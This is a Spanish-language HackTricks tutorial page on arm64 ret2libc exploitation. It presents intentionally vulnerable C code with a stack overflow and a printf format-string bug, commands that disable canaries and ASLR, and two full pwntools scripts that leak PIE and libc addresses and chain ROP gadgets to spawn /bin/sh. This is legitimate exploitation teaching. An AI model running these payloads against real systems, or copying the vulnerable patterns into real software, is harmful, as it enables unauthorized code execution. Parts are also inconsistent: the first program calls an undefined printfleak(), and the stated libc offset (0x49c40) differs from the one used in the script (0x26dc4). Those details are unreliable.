Ret2lib + Printf leak - arm64

Apoya a HackTricks

Ret2lib - Bypass NX con ROP (sin ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compilar sin canario:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Encontrar offset

offset x30

Creando un patrón con pattern create 200, usándolo y verificando el offset con pattern search $x30 podemos ver que el offset es 108 (0x6c).

Echando un vistazo a la función principal desensamblada, podemos ver que nos gustaría saltar a la instrucción para saltar a printf directamente, cuyo offset desde donde se carga el binario es 0x860:

Encontrar la cadena de system y /bin/sh

Como ASLR está deshabilitado, las direcciones van a ser siempre las mismas:

Encontrar Gadgets

Necesitamos tener en x0 la dirección a la cadena /bin/sh y llamar a system.

Usando rooper se encontró un gadget interesante:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Este gadget cargará x0 desde $sp + 0x18 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos controlar el primer argumento y luego saltar a system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - Bypass de NX, ASL y PIE con filtraciones de printf desde la pila

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compilar sin canario:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE y ASLR pero sin canario

  • Ronda 1:

  • Fuga de PIE desde la pila

  • Abusar de bof para volver a main

  • Ronda 2:

  • Fuga de libc desde la pila

  • ROP: ret2system

Fugas de Printf

Estableciendo un punto de interrupción antes de llamar a printf, es posible ver que hay direcciones para regresar al binario en la pila y también direcciones de libc:

Probando diferentes offsets, el %21$p puede filtrar una dirección binaria (bypass de PIE) y el %25$p puede filtrar una dirección de libc:

Restando la dirección de libc filtrada con la dirección base de libc, es posible ver que el offset de la dirección filtrada desde la base es 0x49c40.

Offset x30

Ver el ejemplo anterior ya que el bof es el mismo.

Encontrar Gadgets

Al igual que en el ejemplo anterior, necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.

Usando rooper, se encontró otro gadget interesante:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Este gadget cargará x0 desde $sp + 0x78 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos controlar el primer argumento y luego saltar a system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Apoya a HackTricks

Last updated